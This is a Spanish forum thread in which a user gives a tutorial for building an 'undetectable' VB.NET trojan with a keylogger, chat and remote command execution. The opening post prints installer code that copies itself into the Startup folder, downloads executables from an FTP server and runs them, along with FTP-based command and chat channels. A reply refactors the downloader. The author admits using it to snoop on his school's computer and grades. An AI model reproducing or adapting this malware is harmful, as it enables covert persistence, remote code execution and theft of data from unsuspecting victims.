elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  Troyano en VB.NET (indectectable)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Troyano en VB.NET (indectectable)  (Leído 5,256 veces)
jhonsc

Desconectado Desconectado

Mensajes: 43


Ver Perfil
Troyano en VB.NET (indectectable)
« en: 23 Agosto 2011, 20:42 pm »

Hola, soy nuevo en el foro y quería empezar a publicar y a contribuir asi que voy a poner un tema sobre como hacer un troyano con algunas funciones sin rastro de winsock (el winsock todos los antivirus lo dectectan ya).
Pués bien, compienzo: :D

Antes de empezar voy a dejar claro las funciones que quiero que tenga:
-Keylogger
-Chat
-Chat "a lo Matrix"  ;D
-Abrir consola
-Ejecutar

abrimos el Visual Basic (en mi caso el 2008, que también funciona en windows 7) y agregamos un nuevo proyecto. Este será el "Panel de control" del cliente:
Ponemos unos buttons (yo los he puesto incluidos en un ToolStrip, pero da igual).
Aquí viene una de las cosas que debes de tener en cuenta para que tu troyano FTP no se te bloquee; esos botones, no habren un Form2, ni otro formulario, si no que habrén programas que se encargan de esa función (la del keylogger por ejemplo).
Esto lo hacemos por que si pones todas las conexiones del troyano (keylogger, ordenes, chats...) pues el programa se te acaba saturando y bloqueando; por ello, lo ponemos por separado. Aunque lo metamos por separado, no hace falta que el ejecute todos los apartados>>>>en vez de eso, ejecutará un solo programa, el cual se descargará las otras partes de un servidor y las pondrá en las carpetas del equipo correspondientes. El código sería así:

Código:
Public Class Form1
    Dim aPath As String = Application.ExecutablePath()

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        If Not My.Computer.FileSystem.FileExists("C:\Documents and Settings\Administrador\Menú Inicio\Programas\Inicio\msp.exe") Then
            My.Computer.FileSystem.CopyFile(aPath, "C:\Documents and Settings\Administrador\Menú Inicio\Programas\Inicio\msp.exe")
        End If
        If My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") And My.Computer.FileSystem.FileExists("C:\WINDOWS\ord.exe") Then
            Shell("C:\WINDOWS\keg.exe")
            Shell("C:\WINDOWS\ord.exe")
        End If
        If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") Then
            My.Computer.Network.DownloadFile("ftp://servidor/key.exe", "C:\WINDOWS\keg.exe", "user", "passw")
        End If
        If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\cht.exe") Then
            My.Computer.Network.DownloadFile("ftp://servidor/chat.exe", "C:\WINDOWS\cht.exe", "user", "passw")
        End If
        If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\chmat.exe") Then
            My.Computer.Network.DownloadFile("ftp://servidor/chatmatrix.exe", "C:\WINDOWS\chmat.exe", "user", "passw")
        End If
        If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\ord.exe") Then
            My.Computer.Network.DownloadFile("ftp://servidor/ordenes.exe", "C:\WINDOWS\ord.exe", "user", "passw")
            Shell("C:\WINDOWS\keg.exe")
            Shell("C:\WINDOWS\ord.exe")
        End If
        End
    End Sub
End Class


Ese sería el código del "Instalador" del Server.
Tampoco pretendo poner todo el código fuente de mi troyano así que diré lo imprescindible:

--La transmisión de datos de los chat se hace por el siguiente código:
Código:
Dim name As String
        name = TextBox1.Text
        Try
            Dim client As New Net.WebClient
            client.Credentials = New Net.NetworkCredential("user", "passw")
            client.UploadString("fttp://sevidor/cht1.txt", name & ": " & vbNewLine & RichTextBox1.Text & vbNewLine)
            RichTextBox1.Clear()
        Catch ex As Exception
        End Try
        Try
            Dim client As New Net.WebClient
            client.Credentials = New Net.NetworkCredential("user", "passw")
            RichTextBox2.Text = client.DownloadString("ftp://servidor/cht1.txt")
        Catch ex As Exception
        End Try

Doy por echo que sabeis hacer un keylogger así que no lo pongo.

Y como no queremos que se acumulen las ordenes cuando las mandemos, al recibirlas el servidor sube un archivo que sustituye el otro, dejandolo en blanco, lo cual se haría con este código: (este código se pondría después de que se ejecutase el correspodiente archivo)

Servidor (el apartado de las ordenes):
Código:
My.Computer.FileSystem.WriteAllText(aPath & "\remord1.txt", _
        "", True)
                My.Computer.Network.UploadFile(aPath & "\remord1.txt", "ftp://servidor/orderlist1.txt", "user", "passw")
                My.Computer.FileSystem.DeleteFile(aPath & "\remord1.txt")
                RichTextBox1.Clear()

Os pongo una foto de como queda:
-La pantalla del Servidor cuando le pones el chat "a lo Matrix" (toda la pantalla):


-Y como sería el controlador del chat "a lo matrix" (el cliente):



Bueno espero que os sirva para adaptaros a las nuevas politicas anti-winsock que se manifistan en windows 7  ;D


En línea

“Vive rápido, muere joven y deja un bonito cadáver”
"Todos somos muy ignorantes. Lo que ocurre es que no todos ignoramos las mismas cosas."
"Hay una fuerza motriz más poderosa que el vapor, la electricidad y la energía atómica: la voluntad."
hackertotal22

Desconectado Desconectado

Mensajes: 59



Ver Perfil WWW
Re: Troyano en VB.NET (indectectable)
« Respuesta #1 en: 3 Septiembre 2011, 16:25 pm »

Gracias hacia tiempo que buscaba un ejemplo sencillo de vb.net y sockets  ;-) ;-)


En línea

RsTyLeR

Desconectado Desconectado

Mensajes: 14



Ver Perfil
Re: Troyano en VB.NET (indectectable)
« Respuesta #2 en: 4 Septiembre 2011, 22:37 pm »

Un trabajo muy currado.
Pero me parece que en vez de finalizar los IF puedes usar los ELSE ya que creo que es lo mismo IF NOT que ELSE.
Código:
If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") Then
            My.Computer.Network.DownloadFile("ftp://servidor/key.exe", "C:\WINDOWS\keg.exe", "user", "passw")
        End If

Lo que digo es esto:
Código:
        If My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") And My.Computer.FileSystem.FileExists("C:\WINDOWS\ord.exe") Then
            Shell("C:\WINDOWS\keg.exe")
            Shell("C:\WINDOWS\ord.exe")
      
      ELSE My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") Then
            My.Computer.Network.DownloadFile("ftp://servidor/key.exe", "C:\WINDOWS\keg.exe", "user", "passw")
        End If


Conste que mi conocimiento básico y estoy aún haciendo mis pinitos. Así que posiblemente me equivoque, ya que me parece no puedes poner dos veces un ELSE en la instruccion IF y me este equivocando yo.
Ahora tambien pensando se me ha ocurrido también la funcion ElseIf.


Saludos  ;)
« Última modificación: 4 Septiembre 2011, 22:58 pm por RsTyLeR » En línea

-Asus P5Q Deluxe Socket 775
-Intel Core 2 Quad Q9550 2.83 GHz@ 3,6 Ghz
-nVidia Gtx295 Sli x2
-HiperX Kinstong 2x2GB
-HDD Seagate 320gb 32mb+Samsung 1tb 32mb.+Samsung 320gb 16mb.
-Fuente Nox Pulsar 650 W Reales
-Acer Al2416W 24" 1920x1200
jhonsc

Desconectado Desconectado

Mensajes: 43


Ver Perfil
Re: Troyano en VB.NET (indectectable)
« Respuesta #3 en: 8 Septiembre 2011, 11:47 am »

Tienes razón, se pordría haber puesto con else. Es más, mi código al principio era con Else, pero mi ordenador está echo unamierda (aunque parezca una excusa muy mala)  y me acabé artando y borrando todo el código y cuando lo reconstruí se quedo así xd. Pero alomejor si te apareció el problema de que no puedes quizá fuese por que aunque pongas else, debes terminar todo, por cada If un End If, un ejemplo:
Código:
If My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") And My.Computer.FileSystem.FileExists("C:\WINDOWS\ord.exe") Then
            Shell("C:\WINDOWS\keg.exe")
            Shell("C:\WINDOWS\ord.exe")
      
      Else
          If Not  My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") Then
            My.Computer.Network.DownloadFile("ftp://servidor/key.exe", "C:\WINDOWS\keg.exe", "user", "passw")
        End If
End If
Ya que has puesto hay dos If, luego pones dos End If.
« Última modificación: 8 Septiembre 2011, 11:54 am por jhonsc » En línea

“Vive rápido, muere joven y deja un bonito cadáver”
"Todos somos muy ignorantes. Lo que ocurre es que no todos ignoramos las mismas cosas."
"Hay una fuerza motriz más poderosa que el vapor, la electricidad y la energía atómica: la voluntad."
EddyW

Desconectado Desconectado

Mensajes: 187



Ver Perfil WWW
Re: Troyano en VB.NET (indectectable)
« Respuesta #4 en: 11 Septiembre 2011, 00:00 am »

Hola,

Como siempre digo, la idea está bien! de que funciona, si lo hace, pero el código esta demasiado 'sucio'.
Que manía de dejar los controles sin nombre (TextBox1 podría ser NameTxt), ¿no conoces las funciones (Function) y Procedimientos (Sub)? o todo era parte del 'indetectamiento' xD

Podrías reducir mucho el código y darle mayor 'calidad' si usas procedimientos para realizar las tareas por ejemplo de comprobar la existencia de los archivos, el código es muy redundante al respecto, cuando repites una acción más de 2 veces es adecuado usar funciones y/o procedimientos.

Algo así:
Código
  1. Imports ejemplo.My
  2.  
  3. Module Module1
  4.    Sub Main()
  5.        Dim exe As Array
  6.        exe = {"key.exe", "chat.exe", "mchat.exe", "ord.exe"}
  7.        Exist("C:\Windows\", exe)
  8.    End Sub
  9.  
  10.    Private Sub Exist(ByVal Dir As String, ByRef files As Array)
  11.        Dim i As Object
  12.        For Each i In files
  13.            If Not Computer.FileSystem.FileExists(Dir + i.ToString) Then
  14.                My.Computer.Network.DownloadFile("ftp://servidor/"+i.ToString, Dir + i.ToString, "user", "passw")
  15.            End If
  16.        Next
  17.    End Sub
  18. End Module

Como vez, paso el nombre de los archivos en un solo array a la función "Exist" ahorrando como 4 sentencias if, imagina que hubieran sido 100 archivos dudo que escribieras todas esas sentencias if.
Si quisieras modificar la ruta por ejemplo, solo tendrías que cambiar un parámetro y no editar todos los ifs.

No soy programador de VB.Net pero es prácticamente igual a C# (Quitando la sintaxis, aunque no podía evitar colocar ";" al final Dx).
Las buenas prácticas te pueden servir mucho en el futuro ;)

SaluDOS!
PD: Por cierto acomodar tu código en las etiquetas [code=vb.net]'Aquí tu codigo[/code] no se vería nada mal :)
En línea

jhonsc

Desconectado Desconectado

Mensajes: 43


Ver Perfil
Re: Troyano en VB.NET (indectectable)
« Respuesta #5 en: 14 Septiembre 2011, 10:55 am »

Ok, gracias  :D . No se me había ocurrido. Además era uno que estaba haciendo con un amigo para echarle un vistazo por dentro al ordenador de mi escuela y las notas  ;D . Gracias de nuevo.

Nota: No es parte de mi "indectectamiento"; el "indetectamiento viene a ser por que no utiliza el winsock que es lo que los antivirus huelen. Además no me gusta mucho decirlo.... que como lo vean los de microsoft ya deja de serlo  :laugh:
« Última modificación: 14 Septiembre 2011, 10:59 am por jhonsc » En línea

“Vive rápido, muere joven y deja un bonito cadáver”
"Todos somos muy ignorantes. Lo que ocurre es que no todos ignoramos las mismas cosas."
"Hay una fuerza motriz más poderosa que el vapor, la electricidad y la energía atómica: la voluntad."
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
ejercicio troyano crear tu propio troyano "hack and crack"
Hacking
chuchenager 5 11,338 Último mensaje 11 Marzo 2010, 05:01 am
por dantemc
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines